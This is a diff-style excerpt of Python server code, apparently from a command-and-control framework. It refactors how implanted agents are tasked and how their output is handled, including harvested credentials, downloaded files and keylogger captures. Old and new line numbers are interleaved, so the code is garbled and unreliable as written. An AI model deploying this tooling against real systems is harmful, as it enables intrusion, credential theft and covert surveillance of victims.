947 agent_tasks = json.loads(agent.taskings)
948
949 pk = Session().query(func.max(models.Tasking.id)).filter(models.Tasking.agent == session_id).first()[0]
950
951 if pk is None:
952 pk = 0
953 pk = (pk + 1) % 65536
954
955 Session().add(models.Tasking(id=pk,
956 agent=session_id,
957 data=task[:100],
958 user_id=uid,
959 timestamp=timestamp,
960 module_name=moduleName))
961
962 # Create result for data when it arrives
963 Session().add(models.Result(id=pk,
964 agent=session_id,
965 user_id=uid))
966
967 # append our new json-ified task and update the backend
968 agent_tasks.append([task_name, task, pk])
969 agent.taskings = json.dumps(agent_tasks)
970
971 # update last seen time for user
972 user = Session().query(models.User).filter(models.User.id == uid).first()
973 user.last_logon_time = timestamp
974 Session.commit()
975
1145976 try:
1146977 self.lock.acquire()
1147 # get existing agent taskings
1148 cur = conn.cursor()
1149 cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
1150 agent_tasks = cur.fetchone()
1151
1152 if agent_tasks and agent_tasks[0]:
1153 agent_tasks = json.loads(agent_tasks[0])
1154 else:
1155 agent_tasks = []
1156
1157 pk = cur.execute("SELECT max(id) from taskings where agent=?", [sessionID]).fetchone()[0]
1158 if pk is None:
1159 pk = 0
1160 pk = (pk + 1) % 65536
1161 cur.execute("INSERT INTO taskings (id, agent, data, user_id, timestamp, module_name) VALUES(?,?,?,?,?,?)",
1162 [pk, sessionID, task[:100], uid, timestamp, moduleName])
1163 # self.mainMenu.socketio.emit('agent/task', {'sessionID': sessionID, 'taskID': pk, 'data': task[:100]})
1164
1165 # Create result for data when it arrives
1166 cur.execute("INSERT INTO results (id, agent, user_id) VALUES (?,?,?)", (pk, sessionID, uid))
1167
1168 # append our new json-ified task and update the backend
1169 agent_tasks.append([taskName, task, pk])
1170 cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])
1171
1172 # update last seen time for user
1173 last_logon = helpers.getutcnow()
1174 cur.execute("UPDATE users SET last_logon_time = ? WHERE id = ?",
1175 (last_logon, uid))
1176978
1177979 # dispatch this event
1178 message = "[*] Agent {} tasked with task ID {}".format(sessionID, pk)
980 message = "[*] Agent {} tasked with task ID {}".format(session_id, pk)
1179981 signal = json.dumps({
1180982 'print': True,
1181983 'message': message,
1182 'task_name': taskName,
984 'task_name': task_name,
1183985 'task_id': pk,
1184986 'task': task,
1185987 'event_type': 'task'
1186988 })
1187 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1188
1189 cur.close()
989 dispatcher.send(signal, sender="agents/{}".format(session_id))
1190990
1191991 # write out the last tasked script to "LastTask" if in debug mode
1192992 if self.args and self.args.debug:
1193993 f = open('%s/LastTask' % (self.installPath), 'w')
1194994 f.write(task)
1195995 f.close()
1196 return pk
1197
1198996 finally:
1199997 self.lock.release()
1200998
1201
1202 def get_agent_tasks_db(self, sessionID):
999 return pk
1000
1001 def get_agent_tasks_db(self, session_id):
12031002 """
12041003 Retrieve tasks for our agent from the database.
12051004 """
12061005
1207 agentName = sessionID
1006 agent_name = session_id
12081007
12091008 # see if we were passed a name instead of an ID
1210 nameid = self.get_agent_id_db(sessionID)
1211 if nameid:
1212 sessionID = nameid
1213
1214 if sessionID not in self.agents:
1215 print(helpers.color("[!] Agent %s not active." % (agentName)))
1009 name_id = self.get_agent_id_db(session_id)
1010 if name_id:
1011 session_id = name_id
1012
1013 if session_id not in self.agents:
1014 print(helpers.color("[!] Agent %s not active." % agent_name))
12161015 return []
12171016 else:
1218 conn = self.get_db_connection()
1219 try:
1220 self.lock.acquire()
1221 cur = conn.cursor()
1222 cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
1223 tasks = cur.fetchone()
1224
1225 if tasks and tasks[0]:
1226 tasks = json.loads(tasks[0])
1227 # clear the taskings out
1228 cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', sessionID])
1229 else:
1230 tasks = []
1231
1232 cur.close()
1233 finally:
1234 self.lock.release()
1017 agent = Session().query(models.Agent).filter(models.Agent.session_id == session_id).first()
1018 if agent.taskings:
1019 tasks = json.loads(agent.taskings)
1020
1021 # clear the taskings out
1022 agent.taskings = ''
1023 Session().commit()
1024 else:
1025 tasks = []
12351026
12361027 return tasks
12371028
1238
1239 def get_agent_tasks_listener_db(self, listenerName):
1029 def get_agent_tasks_listener_db(self, listener_name):
12401030 """
12411031 Retrieve tasks for our agent from the database keyed by the
12421032 supplied listner name.
12431033
12441034 returns a list of (sessionID, taskings) tuples
12451035 """
1246
1247 conn = self.get_db_connection()
1036 agents = Session().query(models.Agent).filter(
1037 and_(models.Agent.listener == listener_name, models.Agent.taskings != None)).all()
12481038 results = []
12491039
1250 try:
1251 self.lock.acquire()
1252 oldFactory = conn.row_factory
1253 conn.row_factory = helpers.dict_factory # return results as a dictionary
1254 cur = conn.cursor()
1255 cur.execute("SELECT session_id,listener,taskings FROM agents WHERE listener=? AND taskings IS NOT NULL", [listenerName])
1256 agents = cur.fetchall()
1257
1258 for agent in agents:
1259 # print agent
1260 if agent['taskings']:
1261 tasks = json.loads(agent['taskings'])
1262 # clear the taskings out
1263 cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', agent['session_id']])
1264 results.append((agent['session_id'], tasks))
1265 cur.close()
1266 conn.row_factory = oldFactory
1267 finally:
1268 self.lock.release()
1040 for agent in agents:
1041 # print agent
1042 if agent['taskings']:
1043 tasks = json.loads(agent['taskings'])
1044
1045 # clear the taskings out
1046 agent.taskings = ''
1047 results.append((agent.session_id, tasks))
1048
1049 Session().commit()
12691050
12701051 return results
12711052
1272
1273 def clear_agent_tasks_db(self, sessionID):
1274 """
1275 Clear out one (or all) agent tasks in the database.
1276 """
1277
1278 if sessionID.lower() == "all":
1279 sessionID = '%'
1280
1281 conn = self.get_db_connection()
1282 try:
1283 self.lock.acquire()
1284 cur = conn.cursor()
1285 cur.execute("UPDATE agents SET taskings=? WHERE session_id LIKE ? OR name LIKE ?", ['', sessionID, sessionID])
1286 cur.close()
1287 finally:
1288 self.lock.release()
1289
1290 if sessionID == '%':
1291 sessionID = 'all'
1292
1293 message = "[*] Tasked {} to clear tasks".format(sessionID)
1053 def clear_agent_tasks_db(self, session_id):
1054 """
1055 Clear out agent tasks in the database.
1056 """
1057
1058 agent = Session().query(models.Agent).filter(
1059 or_(models.Agent.session_id == session_id, models.Agent.name == session_id)).first()
1060 agent.taskings = ''
1061 Session.commit()
1062
1063 message = "[*] Tasked {} to clear tasks".format(session_id)
12941064 signal = json.dumps({
12951065 'print': True,
12961066 'message': message
12971067 })
1298 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1299
1068 dispatcher.send(signal, sender="agents/{}".format(session_id))
13001069
13011070 ###############################################################
13021071 #
13041073 #
13051074 ###############################################################
13061075
1307 def handle_agent_staging(self, sessionID, language, meta, additional, encData, stagingKey, listenerOptions, clientIP='0.0.0.0'):
1076 def handle_agent_staging(self, sessionID, language, meta, additional, encData, stagingKey, listenerOptions,
1077 clientIP='0.0.0.0'):
13081078 """
13091079 Handles agent staging/key-negotiation.
13101080 TODO: does this function need self.lock?
13721142 lostLimit = listenerOptions['DefaultLostLimit']['Value']
13731143
13741144 # add the agent to the database now that it's "checked in"
1375 self.mainMenu.agents.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours, lostLimit, nonce=nonce, listener=listenerName)
1145 self.mainMenu.agents.add_agent(sessionID, clientIP, delay, jitter, profile, killDate,
1146 workingHours, lostLimit, nonce=nonce, listener=listenerName)
13761147
13771148 if self.mainMenu.socketio:
13781149 self.mainMenu.socketio.emit('agents/new', self.get_agent_for_socket(sessionID),
13811152 clientSessionKey = self.mainMenu.agents.get_agent_session_key_db(sessionID)
13821153 data = "%s%s" % (nonce, clientSessionKey)
13831154
1384 data = data.encode('ascii', 'ignore') # TODO: is this needed?
1155 data = data.encode('ascii', 'ignore') # TODO: is this needed?
13851156
13861157 # step 4 of negotiation -> server returns RSA(nonce+AESsession))
13871158 encryptedMsg = encryption.rsa_encrypt(rsaKey, data)
14421213 lostLimit = listenerOptions['DefaultLostLimit']['Value']
14431214
14441215 # add the agent to the database now that it's "checked in"
1445 self.mainMenu.agents.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours, lostLimit, sessionKey=serverPub.key, nonce=nonce, listener=listenerName)
1216 self.mainMenu.agents.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,
1217 lostLimit, sessionKey=serverPub.key, nonce=nonce,
1218 listener=listenerName)
14461219
14471220 if self.mainMenu.socketio:
14481221 self.mainMenu.socketio.emit('agents/new', self.get_agent_for_socket(sessionID),
14561229 return encryptedMsg
14571230
14581231 else:
1459 message = "[*] Agent {} from {} using an invalid language specification: {}".format(sessionID, clientIP, language)
1232 message = "[*] Agent {} from {} using an invalid language specification: {}".format(sessionID, clientIP,
1233 language)
14601234 signal = json.dumps({
14611235 'print': True,
14621236 'message': message
14981272 self.mainMenu.agents.remove_agent_db(sessionID)
14991273 return "ERROR: Invalid nonce returned from %s" % (sessionID)
15001274
1501 message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID, message)
1275 message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID,
1276 message)
15021277 signal = json.dumps({
15031278 'print': False,
15041279 'message': message
15371312 username = "%s\\%s" % (domainname, username)
15381313
15391314 # update the agent with this new information
1540 self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listenerName, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)
1315 self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listenerName, internal_ip=internal_ip,
1316 username=username, hostname=hostname, os_details=os_details,
1317 high_integrity=high_integrity, process_name=process_name,
1318 process_id=process_id, language_version=language_version,
1319 language=language)
15411320
15421321 # signal to Slack that this agent is now active
15431322
15441323 slack_webhook_url = listenerOptions['SlackURL']['Value']
15451324 if slack_webhook_url != "":
1546 slack_text = ":biohazard_sign: NEW AGENT :biohazard_sign:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID)
1547 helpers.slackMessage(slack_webhook_url,slack_text)
1325 slack_text = ":biohazard_sign: NEW AGENT :biohazard_sign:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (
1326 hostname, internal_ip, external_ip, username, os_details, sessionID)
1327 helpers.slackMessage(slack_webhook_url, slack_text)
15481328
15491329 # signal everyone that this agent is now active
15501330 message = "[+] Initial agent {} from {} now active (Slack)".format(sessionID, clientIP)
15541334 })
15551335 dispatcher.send(signal, sender="agents/{}".format(sessionID))
15561336
1557 # save the initial sysinfo information in the agent log
1558 agent = self.mainMenu.agents.get_agent_db(sessionID)
1559
1560 lastseen_time = datetime.fromisoformat(agent['lastseen_time']).astimezone(timezone.utc)
1561 stale = helpers.is_stale(lastseen_time, agent['delay'], agent['jitter'])
1562 agent['stale'] = stale
1337 agent = self.mainMenu.agents.get_agent_for_socket(sessionID)
15631338 if self.mainMenu.socketio:
15641339 self.mainMenu.socketio.emit('agents/stage2', agent, broadcast=True)
15651340
1341 # save the initial sysinfo information in the agent log
15661342 output = messages.display_agent(agent, returnAsString=True)
15671343 output += "\n[+] Agent %s now active:\n" % (sessionID)
15681344 self.mainMenu.agents.save_agent_log(sessionID, output)
15781354 autorunCmds.extend(["lastautoruncmd"])
15791355 self.mainMenu.resourceQueue.extend(autorunCmds)
15801356 try:
1581 #this will cause the cmdloop() to start processing the autoruns
1357 # this will cause the cmdloop() to start processing the autoruns
15821358 self.mainMenu.do_agents("kickit")
15831359 except Exception as e:
15841360 if e == "endautorun":
15851361 pass
15861362 else:
1587 print(helpers.color("[!] End of Autorun Queue" ))
1363 print(helpers.color("[!] End of Autorun Queue"))
15881364
15891365 return "STAGE2: %s" % (sessionID)
15901366
16291405 'message': message
16301406 })
16311407 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1632 dataToReturn.append((language, self.handle_agent_staging(sessionID, language, meta, additional, encData, stagingKey, listenerOptions, clientIP)))
1408 dataToReturn.append((language, self.handle_agent_staging(sessionID, language, meta, additional, encData,
1409 stagingKey, listenerOptions, clientIP)))
16331410
16341411 elif sessionID not in self.agents:
16351412 message = "[!] handle_agent_data(): sessionID {} not present".format(sessionID)
16591436 dataToReturn.append((language, self.handle_agent_response(sessionID, encData, update_lastseen)))
16601437
16611438 else:
1662 message = "[!] handle_agent_data(): sessionID {} gave unhandled meta tag in routing packet: {}".format(sessionID, meta)
1439 message = "[!] handle_agent_data(): sessionID {} gave unhandled meta tag in routing packet: {}".format(
1440 sessionID, meta)
16631441 signal = json.dumps({
16641442 'print': True,
16651443 'message': message
16661444 })
16671445 dispatcher.send(signal, sender="agents/{}".format(sessionID))
16681446 return dataToReturn
1669
16701447
16711448 def handle_agent_request(self, sessionID, language, stagingKey, update_lastseen=True):
16721449 """
17061483 # encrypt the tasking packets with the agent's session key
17071484 encrypted_data = encryption.aes_encrypt_then_hmac(session_key, all_task_packets)
17081485
1709 return packets.build_routing_packet(stagingKey, sessionID, language, meta='SERVER_RESPONSE', encData=encrypted_data)
1486 return packets.build_routing_packet(stagingKey, sessionID, language, meta='SERVER_RESPONSE',
1487 encData=encrypted_data)
17101488
17111489 # if no tasking for the agent
17121490 else:
17131491 return None
1714
17151492
17161493 def handle_agent_response(self, sessionID, encData, update_lastseen=False):
17171494 """
17701547 })
17711548 dispatcher.send(signal, sender="agents/{}".format(sessionID))
17721549
1773 # TODO: stupid concurrency...
1774 # when an exception is thrown, something causes the lock to remain locked...
1775 # if self.lock.locked():
1776 # self.lock.release()
17771550 return None
17781551
1779
1780 def process_agent_packet(self, sessionID, responseName, taskID, data):
1552 def process_agent_packet(self, session_id, response_name, task_id, data):
17811553 """
17821554 Handle the result packet based on sessionID and responseName.
17831555 """
1784
1785 agentSessionID = sessionID
1786 keyLogTaskID = None
1556 key_log_task_id = None
17871557
17881558 # see if we were passed a name instead of an ID
1789 nameid = self.get_agent_id_db(sessionID)
1790 if nameid:
1791 sessionID = nameid
1792
1793 conn = self.get_db_connection()
1794 try:
1795 self.lock.acquire()
1796 # report the agent result in the reporting database
1797 cur = conn.cursor()
1798 message = "[*] Agent {} got results".format(sessionID)
1799 signal = json.dumps({
1800 'print': False,
1801 'message': message,
1802 'response_name': responseName,
1803 'task_id': taskID,
1804 'event_type': 'result'
1805 })
1806 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1807
1808 # insert task results into the database, if it's not a file
1809 if taskID != 0 and responseName not in ["TASK_DOWNLOAD", "TASK_CMD_JOB_SAVE", "TASK_CMD_WAIT_SAVE"] and data != None:
1810 # Update result with data
1811 cur.execute("UPDATE results SET data=? WHERE id=? AND agent=?", (data, taskID, sessionID))
1812 # self.mainMenu.socketio.emit('agents/task', {'sessionID': sessionID, 'taskID': taskID, 'data': data})
1813
1814 try:
1815 keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND id=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID, taskID]).fetchone()[0]
1816 except Exception as e:
1817 pass
1818 else:
1819 cur.execute("UPDATE results SET data=data||? WHERE id=? AND agent=?", [data, taskID, sessionID])
1820
1821 finally:
1822 cur.close()
1823 self.lock.release()
1559 name_id = self.get_agent_id_db(session_id)
1560 if name_id:
1561 session_id = name_id
1562
1563 # report the agent result in the reporting database
1564 message = "[*] Agent {} got results".format(session_id)
1565 signal = json.dumps({
1566 'print': False,
1567 'message': message,
1568 'response_name': response_name,
1569 'task_id': task_id,
1570 'event_type': 'result'
1571 })
1572 dispatcher.send(signal, sender="agents/{}".format(session_id))
1573
1574 # insert task results into the database, if it's not a file
1575 if task_id != 0 and response_name not in ["TASK_DOWNLOAD", "TASK_CMD_JOB_SAVE",
1576 "TASK_CMD_WAIT_SAVE"] and data != None:
1577 # Update result with data
1578 results = Session().query(models.Result).filter(and_(models.Result.id == task_id,
1579 models.Result.agent == session_id)).first()
1580 results.data = data
1581
1582 try:
1583 results = Session().query(models.Tasking).filter(and_(models.Tasking.agent == session_id,
1584 models.Tasking.id == task_id,
1585 models.Tasking.data.like(
1586 "function Get-Keystrokes%"))).first()
1587 key_log_task_id = results.id
1588
1589 except Exception as e:
1590 pass
1591 else:
1592 results = Session().query(models.Result).filter(and_(models.Result.id == task_id,
1593 models.Result.agent == session_id)).first()
1594 results.data += data
1595
1596 Session.commit()
18241597
18251598 # TODO: for heavy traffic packets, check these first (i.e. SOCKS?)
18261599 # so this logic is skipped
18271600
1828 if responseName == "ERROR":
1601 if response_name == "ERROR":
18291602 # error code
1830 message = "\n[!] Received error response from {}".format(sessionID)
1603 message = "\n[!] Received error response from {}".format(session_id)
18311604 signal = json.dumps({
18321605 'print': True,
18331606 'message': message
18341607 })
1835 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1836 self.update_agent_results_db(sessionID, data)
1837
1838 if isinstance(data,bytes):
1608 dispatcher.send(signal, sender="agents/{}".format(session_id))
1609 self.update_agent_results_db(session_id, data)
1610
1611 if isinstance(data, bytes):
18391612 data = data.decode('UTF-8')
18401613 # update the agent log
1841 self.save_agent_log(sessionID, "[!] Error response: " + data)
1842
1843
1844 elif responseName == "TASK_SYSINFO":
1614 self.save_agent_log(session_id, "[!] Error response: " + data)
1615
1616
1617 elif response_name == "TASK_SYSINFO":
18451618 # sys info response -> update the host info
18461619 data = data.decode('utf-8')
18471620 parts = data.split("|")
18481621 if len(parts) < 12:
1849 message = "[!] Invalid sysinfo response from {}".format(sessionID)
1622 message = "[!] Invalid sysinfo response from {}".format(session_id)
18501623 signal = json.dumps({
18511624 'print': True,
18521625 'message': message
18531626 })
1854 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1627 dispatcher.send(signal, sender="agents/{}".format(session_id))
18551628 else:
18561629 # extract appropriate system information
18571630 listener = parts[1]
18741647 username = "%s\\%s" % (domainname, username)
18751648
18761649 # update the agent with this new information
1877 self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)
1650 self.mainMenu.agents.update_agent_sysinfo_db(session_id, listener=listener, internal_ip=internal_ip,
1651 username=username, hostname=hostname,
1652 os_details=os_details, high_integrity=high_integrity,
1653 process_name=process_name, process_id=process_id,
1654 language_version=language_version, language=language)
18781655
18791656 sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
18801657 sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n"
18871664 sysinfo += '{0: <18}'.format("Language:") + language + "\n"
18881665 sysinfo += '{0: <18}'.format("Language Version:") + language_version + "\n"
18891666
1890 self.update_agent_results_db(sessionID, sysinfo)
1667 self.update_agent_results_db(session_id, sysinfo)
18911668 # update the agent log
1892 self.save_agent_log(sessionID, sysinfo)
1893
1894
1895 elif responseName == "TASK_EXIT":
1669 self.save_agent_log(session_id, sysinfo)
1670
1671
1672 elif response_name == "TASK_EXIT":
18961673 # exit command response
18971674 # let everyone know this agent exited
1898 message = "[!] Agent {} exiting".format(sessionID)
1675 message = "[!] Agent {} exiting".format(session_id)
18991676 signal = json.dumps({
19001677 'print': True,
19011678 'message': message
19021679 })
1903 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1680 dispatcher.send(signal, sender="agents/{}".format(session_id))
19041681
19051682 # update the agent results and log
19061683 # self.update_agent_results(sessionID, data)
1907 self.save_agent_log(sessionID, data)
1684 self.save_agent_log(session_id, data)
19081685
19091686 # remove this agent from the cache/database
1910 self.remove_agent_db(sessionID)
1911
1912
1913 elif responseName == "TASK_SHELL":
1687 self.remove_agent_db(session_id)
1688
1689
1690 elif response_name == "TASK_SHELL":
19141691 # shell command response
1915 self.update_agent_results_db(sessionID, data)
1692 self.update_agent_results_db(session_id, data)
19161693 # update the agent log
1917 self.save_agent_log(sessionID, data)
1918
1919
1920 elif responseName == "TASK_DOWNLOAD":
1694 self.save_agent_log(session_id, data)
1695
1696
1697 elif response_name == "TASK_DOWNLOAD":
19211698 # file download
19221699 if isinstance(data, bytes):
19231700 data = data.decode('UTF-8')
19241701
19251702 parts = data.split("|")
19261703 if len(parts) != 4:
1927 message = "[!] Received invalid file download response from {}".format(sessionID)
1704 message = "[!] Received invalid file download response from {}".format(session_id)
19281705 signal = json.dumps({
19291706 'print': True,
19301707 'message': message
19311708 })
1932 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1709 dispatcher.send(signal, sender="agents/{}".format(session_id))
19331710 else:
19341711 index, path, filesize, data = parts
19351712 # decode the file data and save it off as appropriate
19361713 file_data = helpers.decode_base64(data.encode('UTF-8'))
1937 name = self.get_agent_name_db(sessionID)
1714 name = self.get_agent_name_db(session_id)
19381715
19391716 if index == "0":
19401717 self.save_file(name, path, file_data, filesize)
19421719 self.save_file(name, path, file_data, filesize, append=True)
19431720 # update the agent log
19441721 msg = "file download: %s, part: %s" % (path, index)
1945 self.save_agent_log(sessionID, msg)
1946
1947 elif responseName == "TASK_DIR_LIST":
1722 self.save_agent_log(session_id, msg)
1723
1724 elif response_name == "TASK_DIR_LIST":
19481725 try:
19491726 result = json.loads(data.decode('utf-8'))
1950 self.update_dir_list(sessionID, result)
1727 self.update_dir_list(session_id, result)
19511728 except ValueError as e:
19521729 pass
19531730
1954 self.update_agent_results_db(sessionID, data)
1955 self.save_agent_log(sessionID, data)
1956
1957 elif responseName == "TASK_GETDOWNLOADS":
1731 self.update_agent_results_db(session_id, data)
1732 self.save_agent_log(session_id, data)
1733
1734 elif response_name == "TASK_GETDOWNLOADS":
19581735 if not data or data.strip().strip() == "":
19591736 data = "[*] No active downloads"
19601737
1961 self.update_agent_results_db(sessionID, data)
1962 #update the agent log
1963 self.save_agent_log(sessionID, data)
1964
1965 elif responseName == "TASK_STOPDOWNLOAD":
1738 self.update_agent_results_db(session_id, data)
1739 # update the agent log
1740 self.save_agent_log(session_id, data)
1741
1742 elif response_name == "TASK_STOPDOWNLOAD":
19661743 # download kill response
1967 self.update_agent_results_db(sessionID, data)
1968 #update the agent log
1969 self.save_agent_log(sessionID, data)
1970
1971 elif responseName == "TASK_UPLOAD":
1744 self.update_agent_results_db(session_id, data)
1745 # update the agent log
1746 self.save_agent_log(session_id, data)
1747
1748 elif response_name == "TASK_UPLOAD":
19721749 pass
19731750
19741751
1975 elif responseName == "TASK_GETJOBS":
1752 elif response_name == "TASK_GETJOBS":
19761753
19771754 if not data or data.strip().strip() == "":
19781755 data = "[*] No active jobs"
19791756
19801757 # running jobs
1981 self.update_agent_results_db(sessionID, data)
1758 self.update_agent_results_db(session_id, data)
19821759 # update the agent log
1983 self.save_agent_log(sessionID, data)
1984
1985
1986 elif responseName == "TASK_STOPJOB":
1760 self.save_agent_log(session_id, data)
1761
1762
1763 elif response_name == "TASK_STOPJOB":
19871764 # job kill response
1988 self.update_agent_results_db(sessionID, data)
1765 self.update_agent_results_db(session_id, data)
19891766 # update the agent log
1990 self.save_agent_log(sessionID, data)
1991
1992
1993 elif responseName == "TASK_CMD_WAIT":
1767 self.save_agent_log(session_id, data)
1768
1769
1770 elif response_name == "TASK_CMD_WAIT":
19941771
19951772 # dynamic script output -> blocking
1996 self.update_agent_results_db(sessionID, data)
1773 self.update_agent_results_db(session_id, data)
19971774
19981775 # see if there are any credentials to parse
19991776 time = helpers.get_datetime()
20051782 hostname = cred[4]
20061783
20071784 if hostname == "":
2008 hostname = self.get_agent_hostname_db(sessionID)
2009
2010 osDetails = self.get_agent_os_db(sessionID)
2011
2012 self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, osDetails, cred[5], time)
1785 hostname = self.get_agent_hostname_db(session_id)
1786
1787 osDetails = self.get_agent_os_db(session_id)
1788
1789 self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, osDetails,
1790 cred[5], time)
20131791
20141792 # update the agent log
2015 self.save_agent_log(sessionID, data)
2016
2017
2018 elif responseName == "TASK_CMD_WAIT_SAVE":
1793 self.save_agent_log(session_id, data)
1794
1795
1796 elif response_name == "TASK_CMD_WAIT_SAVE":
20191797
20201798 # dynamic script output -> blocking, save data
2021 name = self.get_agent_name_db(sessionID)
1799 name = self.get_agent_name_db(session_id)
20221800
20231801 # extract the file save prefix and extension
20241802 prefix = data[0:15].strip().decode('UTF-8')
20261804 file_data = helpers.decode_base64(data[20:])
20271805
20281806 # save the file off to the appropriate path
2029 save_path = "%s/%s_%s.%s" % (prefix, self.get_agent_hostname_db(sessionID), helpers.get_file_datetime(), extension)
1807 save_path = "%s/%s_%s.%s" % (
1808 prefix, self.get_agent_hostname_db(session_id), helpers.get_file_datetime(), extension)
20301809 final_save_path = self.save_module_file(name, save_path, file_data)
20311810
20321811 # update the agent log
20331812 msg = "Output saved to .%s" % (final_save_path)
2034 self.update_agent_results_db(sessionID, msg)
2035 self.save_agent_log(sessionID, msg)
2036
2037
2038 elif responseName == "TASK_CMD_JOB":
2039 #check if this is the powershell keylogging task, if so, write output to file instead of screen
2040 if keyLogTaskID and keyLogTaskID == taskID:
2041 safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath)
2042 savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID)
1813 self.update_agent_results_db(session_id, msg)
1814 self.save_agent_log(session_id, msg)
1815
1816
1817 elif response_name == "TASK_CMD_JOB":
1818 # check if this is the powershell keylogging task, if so, write output to file instead of screen
1819 if key_log_task_id and key_log_task_id == task_id:
1820 safePath = os.path.abspath("%s/downloads/" % self.mainMenu.installPath)
1821 savePath = "%s/downloads/%s/keystrokes.txt" % (self.mainMenu.installPath, session_id)
20431822 if not os.path.abspath(savePath).startswith(safePath):
20441823 message = "[!] WARNING: agent {} attempted skywalker exploit!".format(self.sessionID)
20451824 signal = json.dumps({
20491828 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
20501829 return
20511830
2052 with open(savePath,"a+") as f:
1831 with open(savePath, "a+") as f:
20531832 if isinstance(data, bytes):
20541833 data = data.decode('UTF-8')
2055 new_results = data.replace("\r\n","").replace("[SpaceBar]", "").replace('\b', '').replace("[Shift]", "").replace("[Enter]\r","\r\n")
1834 new_results = data.replace("\r\n", "").replace("[SpaceBar]", "").replace('\b', '').replace(
1835 "[Shift]", "").replace("[Enter]\r", "\r\n")
20561836 f.write(new_results)
20571837 else:
20581838 # dynamic script output -> non-blocking
2059 self.update_agent_results_db(sessionID, data)
1839 self.update_agent_results_db(session_id, data)
20601840
20611841 # see if there are any credentials to parse
20621842 time = helpers.get_datetime()
20671847 hostname = cred[4]
20681848
20691849 if hostname == "":
2070 hostname = self.get_agent_hostname_db(sessionID)
2071
2072 osDetails = self.get_agent_os_db(sessionID)
1850 hostname = self.get_agent_hostname_db(session_id)
1851
1852 osDetails = self.get_agent_os_db(session_id)
20731853
20741854 self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname,
20751855 osDetails, cred[5], time)
20761856
20771857 # update the agent log
2078 self.save_agent_log(sessionID, data)
1858 self.save_agent_log(session_id, data)
20791859
20801860 # TODO: redo this regex for really large AD dumps
20811861 # so a ton of data isn't kept in memory...?
2082 if isinstance(data,str):
1862 if isinstance(data, str):
20831863 data = data.encode("UTF-8")
20841864 parts = data.split(b"\n")
20851865 if len(parts) > 10:
20951875 hostname = cred[4]
20961876
20971877 if hostname == "":
2098 hostname = self.get_agent_hostname_db(sessionID)
2099
2100 osDetails = self.get_agent_os_db(sessionID)
2101
2102 self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, osDetails, cred[5], time)
2103
2104
2105 elif responseName == "TASK_CMD_JOB_SAVE":
1878 hostname = self.get_agent_hostname_db(session_id)
1879
1880 osDetails = self.get_agent_os_db(session_id)
1881
1882 self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname,
1883 osDetails, cred[5], time)
1884
1885
1886 elif response_name == "TASK_CMD_JOB_SAVE":
21061887 # dynamic script output -> non-blocking, save data
2107 name = self.get_agent_name_db(sessionID)
1888 name = self.get_agent_name_db(session_id)
21081889
21091890 # extract the file save prefix and extension
21101891 prefix = data[0:15].strip()
21121893 file_data = helpers.decode_base64(data[20:])
21131894
21141895 # save the file off to the appropriate path
2115 save_path = "%s/%s_%s.%s" % (prefix, self.get_agent_hostname_db(sessionID), helpers.get_file_datetime(), extension)
1896 save_path = "%s/%s_%s.%s" % (
1897 prefix, self.get_agent_hostname_db(session_id), helpers.get_file_datetime(), extension)
21161898 final_save_path = self.save_module_file(name, save_path, file_data)
21171899
21181900 # update the agent log
21191901 msg = "Output saved to .%s" % (final_save_path)
2120 self.update_agent_results_db(sessionID, msg)
2121 self.save_agent_log(sessionID, msg)
2122
2123
2124 elif responseName == "TASK_SCRIPT_IMPORT":
2125 self.update_agent_results_db(sessionID, data)
1902 self.update_agent_results_db(session_id, msg)
1903 self.save_agent_log(session_id, msg)
1904
1905
1906 elif response_name == "TASK_SCRIPT_IMPORT":
1907 self.update_agent_results_db(session_id, data)
21261908 # update the agent log
2127 self.save_agent_log(sessionID, data)
2128
2129 elif responseName == "TASK_IMPORT_MODULE":
2130 self.update_agent_results_db(sessionID, data)
1909 self.save_agent_log(session_id, data)
1910
1911 elif response_name == "TASK_IMPORT_MODULE":
1912 self.update_agent_results_db(session_id, data)
21311913 # update the agent log
2132 self.save_agent_log(sessionID, data)
2133
